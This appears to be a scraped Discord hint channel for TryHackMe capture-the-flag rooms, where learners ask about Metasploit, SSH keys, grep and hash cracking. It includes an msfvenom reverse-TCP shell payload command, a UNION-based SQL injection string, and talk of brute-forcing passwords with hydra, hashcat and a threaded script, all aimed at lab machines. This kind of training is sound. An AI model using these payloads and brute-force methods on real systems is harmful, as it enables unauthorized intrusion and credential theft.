What the payload currently

#

Sometimes you need to run it 2 3 times if it doesn't work

wicked granite
wintry yarrow
#

Set lhost to tun0.

#

You are not using vpn ip address.

drowsy sequoia
#

He had to do 10.10 you did 10.0

#

Lol😂 happens

wintry yarrow
#

Nah, its default vbox ip which is eth0.

drowsy sequoia
#

Oooo

wicked granite
#

it worked, but a shell didn't open, did i interpert this wrong cause now it says meterpreter instead of msf5

wintry yarrow
#

If it says meterpreter then you got shell.

wicked granite
#

ok cool

wintry yarrow
#

Type getuid.

Hey doing revenge now and i managed to drop the creds but couldnt get them to crack can anyone give a slight nudge?

I am stuck in task 2 question 6 of onepiece room. I got username but when i bruteforce using hydra for password. I got wrong password multiple time. Can anyone give me a small hint?

try enumerating the database again @thorny nest

wicked granite
#

when cracking a password i used hashcat right?

wintry yarrow
#

Use hashcat, john, crackstation or use whatever you like.

wicked granite
#

alright, thank you so much. im new to linux and ethical hacking and every bit of help is nice.

wintry yarrow
#

Muir pinned a message in #general. Check that out as well.

wicked granite
#

yea, im working on blue rn

#

ummm do you know where the hashcat directory is? im using kali linux

wintry yarrow
#

Don't use hashcat on a vm. If you to know where hashcat is type locate hashcat. Also, you can execute hashcat from terminal by typing it.

wicked granite
#

wait why not use on vm?

wintry yarrow
#

In vm you don't have access to gpu so it'll depend on cpu which is slower than using gpu.

wicked granite
#

alright that makes sense

#

what would be best for me to use then?

wintry yarrow
#

Hmm, use crackstation first if it can't crack it use hashcat or john whichever you prefer.

wicked granite
#

alright tyyy

wintry yarrow
#

Np.

Top tip @rose cape
||You're already in the container||

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

  • What room you are on
  • At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
  • What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
#

@inland onyx are hints being given out yet?

Yeah, it's been almost a week

Hi, I'm new here. Stuck on the Learn Linux - Task 11. I've created what it asks for but unsure where to find the binary to run, it says simple challenge so perhaps I'm just overthinking it...

stuck fractal

Did you SSH into the machine?

#

The binary is right there in your home directory, you can see it with ls

Ah - ok. I did but I exited it (to follow the directory listed on the pictures)

Task 3
Question 4: What is the root flag?
I've tried using the msfvenom reverse TCP shell and a few ports, I'm able to get the listener to receive some signal from the remote host; but never been able to pop a shell. I've tried both Powershell and normal Shell getting the same result
using: msfvenom -p windows/shell/reverse_tcp LHOST=SuperawesomeIP LPORT=4443 -e x86/shikata_ga_nai -f exe -o boopus.exe
I am also stopping said service prior to uploading said file

Make sure your listener has the exact same payload set

I'm not sure I understand, is there something that I have to specify with my listener?

stuck fractal

The payload option

#

Hello guys I'm on the Library room, and I'm a bit stuck 😦 someone have a hint for me plz ?

iron sapphire
#

hi all, i'm patiently waiting for some hints on YoTP, way out of my league probably but....

#

i'm trying to brute force the password credentials using python

#

the md5 generated by my script matches the md5 generated by the website request

#

i've also set my user_agent details to match my chrome session

midnight spindle
#

OMG NEVER MIND ! I found it !

iron sapphire
#

i'm using a wordlist generated from words on the website, and then tacking on 2 numbers and every special character

white salmon
#

case matters btw

#

you're on the right track and if you're using a wordlist derived off the site then you're going to hit the password eventually

iron sapphire
#

i ran with title case, i'll rerun lower case....

white salmon
#

kk, btw I preprocessed my passwords so to use them w/ faster brute forcers

#

this is probably a dumb question but I gotta make sure, you're stripping input right? python, when reading from a file via for loop will include the trailing newline character

iron sapphire
#

i did it just with likely 'memorable' words typing into a list

#

will query the page and strip it into a proper word list now

#

was already stoked to see python cycling 500 requests at a time, was hoping it was an obvious 1-5 key words

#

i figured i might get lucky because already just 7 key words is 18000 combinations when you tack on the # & special chars

#

take 120 secs at 500 threads

white salmon
#

7 key words, wait you mean 7 characters or 7 words?

iron sapphire
#

Milan Piccolo Savoia

white salmon
#

no, you're really close rn

iron sapphire
#

still no luck grrrrr

#

does the T-120s imply it should take less than 120 seconds to run?

#

i'm happy to post my code if anyone would take a look

#

just don't want to put a spoiler

white salmon
#

trying to find the message, but yeah T-120 means that it should take < 120s

"Featured in various rooms on TryHackMe, Cross-Site Scripting is a vicious attack that is becoming ever more common on the open web. What Alert does ZAP produce to let us know that this site is vulnerable to XSS? Note, there are often a couple warnings produced for this, look for one more so directly related to the web client."

here's the command:

in case

I'm fairly certain that's the wrong machine, there's a flag at the port 80 yet there's no flag input anywhere to be found on the room's page

wdym?

#

There isn't supposed to be one, infact it's actually supposed to be DVWA running instead

Try rebooting the machine because I don't think this is the right one?

So do I re-deploy the instance

Yeah

I googled the flag to check what box was actually deployed and apparently it's from Linux Challenges

#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:

  • What room you are on
  • At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
  • What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
#

Try to terminate and redeploy? Or is this always happening for you?

hehey, I am stuck on a very simple last question in a lab. "How about the second common home private range?" Format is ... and the question before was 192.168.0.0 so the only possiblity I think would be 172.16.0.0 but it is false. Other private range would be 10.0.0.0 but that doesnt fit the given form 😮

#

Given format for the question is ---.---.-.-

oblique cliff

  1. Is Usually a corporate network
#

192 is home

yeah

It’s another 192 address range

  1. You're using msf6 which is broken
#
  1. You deselected the module or restarted MSF or something.
lime verge

There should really be somewhat of a guide on installing msf5 from the source code. It was actually quite difficult to make it work

stuck fractal
#

Why? Kali ships with it

#

Parrot doesn't, even though rapid7 asked them not to ship msf6

lime verge
#

I installed a kali 2020.2 i think and it had msf6

stuck fractal
#

Feel free to write a guide and post it in #resources

so it would be better for me to use Kali VM for THM?

stuck fractal
#

Seeing as parrot shipped broken metasploit, yes.

rare mortar
#

2020 has msf6 also?

stuck fractal
#

No

#

Because rapid7 asked them not to, and they listened

rare mortar
#

okok just asked because midwars said so

#

anyway thanks for the fast reply

#

ill try it that way

lime verge

Probably it came with msf5 but I did have to upgrade some packages, might have updated msf as well in the process

Nope.

Kali didn't ship it, because it's broken

Hmm, maybe changing the path is a good idea

That service shouldn’t have anything to do with your session

Than it was coincidence... Try to change the path anyway 🙂

If you’re doing a path hijacking you’re not supposed to overwrite the file

the hint in the room told me to overwrite the service and restart it. (so no path hijjacking I suppose)

Strange, The error with my connection crash was indeed a coincidence. But The service doesn't start. I've copied it, and now I try to start the service with Powershell, but I receive failure...

(the msfconsole upload function)

You get a 1053?

No

It's a windows command

For services.

ahh, and it tells me 1053

🙂

stuck fractal
#

Yep, so you can get around that by generating an exe-service format payload

#

I believe you can also get around it with staged payloads or something, but that's kind of hacky.

ember berry
#

And that is something that should be uploaded tot the target, or is that my waiting reverse shell?

you know the -f argument for msfvenom?

That's for format.

Hey guys, I'm working on the Network Services room and I'm stuck on Task 4 Step 8.

#

I've never used SSH with a keyfile so I have a feeling I'm doing that part wrong.

oblique cliff
#

Can you show us how you’re doing it?

fallen sorrel
#

I downloaded the id_rsa file from the remote host, ran chmod 600 on it, and put it in my .ssh directory.

ivory plinth
#

no need to do the moving to .ssh

#

just check the ssh syntax 😉

#

it is ssh -"FLAG" key_file

stuck fractal
#

If you move it to ~/.ssh then you don't need to use that flag

Even if I use -i I get the same thing

ssh -v -v -v user@box

fallen sorrel
#

@stuck fractal You win. I'm a fool and made assumptions about the username.

#

Turns out that was wrong

stuck fractal
#

I think it depends on the SSH configuration, because it doesn't always close the connection

fallen sorrel

Yeah that was odd. I expected a different error because if I tried root it asked for a password.

IIRC root has it's own settings for SSH in the config

@stuck fractal owing to the awesome environment its being run in, i'm copying only the string from beginning T in THM to end } .. no whitespace and running the hash on another term. do i have to use the local systems hash algorithm?

lusty shoal
#

can someone please verify if i got the syntax right for this

grep -r "flag" /etc/update-motd.d/

fleet pike
#

cyrax: Are you looking for contents of files, or files named flag?

#

or both

lusty shoal
#

i am looking for the text "flag" inside all the files inside the directory

#

or trying to search inside all the files located in the directory

stuck fractal
#

@fleet pike The algorithm is the same everywhere.

fleet pike
#

Then i must be giving it the wrong input... groovy, this helps

#

cyrax0101: Your grep appears to coincide with your intention

stuck fractal
#

Then i must be giving it the wrong input... groovy, this helps
@fleet pike make sure you're not adding an additional newline

#

Maybe try without adding one at all

#

Or try with just one

fleet pike
#

No hard returns. i'll try adding one

thorny atlas
#

@lusty shoal I think its grep -r /etc/update-motd-d/ "flag"

fleet pike
#

grep (string) (target) target can be file, directory, or stream

lusty shoal
#

@fleet pike thanks u are correct

stuck fractal
#

No show flag

#

Even if not real flag

#

Echo -n for no newlines

lusty shoal
#

i was meant to search for "Flag" instead of "flag" hence wasn't getting anything

fleet pike
#

James: I'll be damned. its a diff value

stuck fractal
#

Yes

#

Because echo adds a newline.

#

A newline is a byte

fleet pike
#

I went to delete it, and you beat me to it

hint to priv esc on marketplace?

Hey guys for marketplace || performing the sqli injection. I have found all three tables I'm now trying to enumerate the column names is this the right syntax
-1+UNION+SELECT+1,table_name,3,4+from+information_schema.columns+where+table_schema=database()+and+table_name='items'+limit+0,1 then 1,1 and so forth for each table name. Also I have to regain the cookie evertime I put a wrong injection very frustrating ||

So what’s your question / what do you need help with

#

Never mind I just can’t read geez

It's ok got it

#

Do I need a kali box for the metasploit room?

#

Or can I use the AttackBox

stuck fractal
#

The attackbox is being fixed, the metasploit db is broken rn

wild pier
#

oh ok

stuck fractal
#

But you can kinda skip the database parts

wild pier
#

that explains... well.. everything! lol

stuck fractal
#

They're not really a part of the msf room

wild pier
#

so i should be good to start on task 3 commands?

#

or should i come back to metasploit later

stuck fractal
#

I don't know what task everything is in, just skip db_nmap etc

wild pier
#

👍 thanks

Are this time allowed to ask markeplace room ?

@sick sun Why ask if you're allowed to ask, if you're not going to wait for an answer?

#

Check for yourself. 72 hours from room release. The messages are in #announcements

visual burrow
#

@sick sun we are past the 72hours

sick sun
#

@stuck fractal ok thanks

#

@visual burrow nice bro

stuck fractal
#

If it's more than like 5 minutes with rockyou, you're doing it wrong

#

It's a platform rule.

#

Brute force will take less than 5 minutss.

visual burrow
#

Usually it take a couple secs with rockyou..5700xt.

stuck fractal
#

This is bcrypt.

#

The platform rule still stands. 5 minutes for any brute force.

#

If it takes longer, then you're not meant to brute force it.

wild pier
#

Is the "bonus challenge - the true ending" something im allowed to ask for a hint on?

cedar axle
#

@stuck fractal on what cpu?

oblique cliff
#

@wild pier look for files that are out of place

#

Usually user files are in their home directory

stuck fractal
#

Shouldn't really matter. 5 minutes on the THM Attack box is the new guidance. It definitely shouldn't be hours. @cedar axle

wild pier
#

thanks @oblique cliff i found that one but haven't figured it it's quirk yet... ill keep digging thanks

cedar axle
#

I usually work on, if its not in rockyou its not brute forceable

stuck fractal
#

Try short lists like fast track first

cedar axle
#

on my gpu rockyou takes a few seconds most of the time

stuck fractal
#

Depends on the algorithm, bcrypt will be slow.

wild pier
#

@oblique cliff its either the hidden one or the not hidden one but im not sure what either of them mean. the hidden one could be taken literally which i've tried I believe, and the non hidden one doesn't make a ton of sense if its a hint

#

assuming I'm even in the right directory lol

let me check

You will find it much easier to use Linux for this, particularly Kali.

Create a virtual machine

#

Run the VPN directly in the VM

empty zealot

Im very unfamiliar with kali, but I tried doing them on my raspbian, but the tools needed are a little too 'advanced' for that

It's just Linux

And the instructions are written for Linux

There's a free room to Learn Linux

Clearly phrase your questions as we (fortunately for all parties involved) cannot read your mind. Please include the room, task, and question number in your question if possible.

yea i did that just now, that was the step i missed lol

I got too focused on doing the nmap scan and looking at version exploits right away

usually you won't find a vulnerable SSH or FTP protocol, so searching for vulnerabilities for this services should be the last thing you do if you can't find something else.

I gotcha, I did find stuff for apache 2.4.18 and openSSH 7.2p which threw me off a bit XD

In Networking services exploiting telnet(task7) #5 they state to use “sudo tcpdump ip proto\icmp -i tunO” . I have tried on different Kali machines and always get no such device. Can someone explain what is wrong?

tun0 is the VPN adapter

#

If you're using your own kali machine, make sure you're connected to the VPN directly from the VM

If you're using THM's Kali/AttackBox, use the appropriate adapter there.
